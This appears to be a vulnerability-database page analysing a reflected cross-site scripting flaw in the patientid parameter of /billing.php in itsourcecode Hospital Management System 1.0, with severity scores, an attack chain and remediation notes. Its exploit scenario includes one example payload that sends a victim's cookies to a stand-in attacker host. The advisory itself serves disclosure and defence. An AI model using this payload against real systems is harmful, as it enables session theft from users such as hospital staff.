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Hospital Management System EUVD-2026-35060

| CVE-2026-11512 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-08 VulDB GHSA-4h24-fgh6-m47f
2.1
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

3
Analysis Generated
Jun 08, 2026 - 13:52 vuln.today
Severity Changed
Jun 08, 2026 - 13:22 NVD
MEDIUM LOW
CVSS changed
Jun 08, 2026 - 13:22 NVD
4.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A security vulnerability has been detected in itsourcecode Hospital Management System 1.0. This issue affects some unknown processing of the file /billing.php. The manipulation of the argument patientid leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used.

AnalysisAI

Cross-site scripting in itsourcecode Hospital Management System 1.0 allows remote unauthenticated attackers to inject arbitrary JavaScript via the unsanitized patientid parameter in /billing.php, executing in the context of a victim user's browser session upon interaction with a crafted URL. A publicly available proof-of-concept exploit exists, referenced in GitHub issue #13 of the ltranquility/vuln_submit repository, lowering the barrier for opportunistic exploitation. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Craft malicious URL with injected patientid payload
Delivery
Deliver link to target user via phishing or redirected request
Exploit
Victim loads /billing.php in active browser session
Execution
Server reflects unencoded patientid into HTML response
Impact
Injected script executes in victim's browser context

Vulnerability AssessmentAI

Exploitation Exploitation requires passive user interaction (UI:P per CVSS 4.0 vector) - the attacker cannot trigger script execution autonomously but must induce a target user to visit a URL containing the crafted `patientid` payload. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 2.1 places this firmly in the low-severity band. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker identifies a publicly accessible itsourcecode Hospital Management System instance and crafts a URL to `/billing.php` embedding a JavaScript payload in the `patientid` parameter (e.g., `?patientid=<script>fetch('https://attacker.com/log?c='+btoa(document.cookie))</script>`). The attacker delivers this link via phishing email or message to a hospital staff member who is authenticated to the system; when the staff member clicks the link, the unencoded payload is reflected and executed in their browser, potentially exposing session tokens or enabling UI redirection. …
Remediation No vendor-released patch has been identified at the time of analysis - the itsourcecode vendor site (https://itsourcecode.com/) is referenced but no associated advisory or fixed version appears in the available intelligence, and no patched release version is independently confirmable from the provided data. … Detailed patch versions, workarounds, and compensating controls in full report.

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EUVD-2026-35060 vulnerability details – vuln.today

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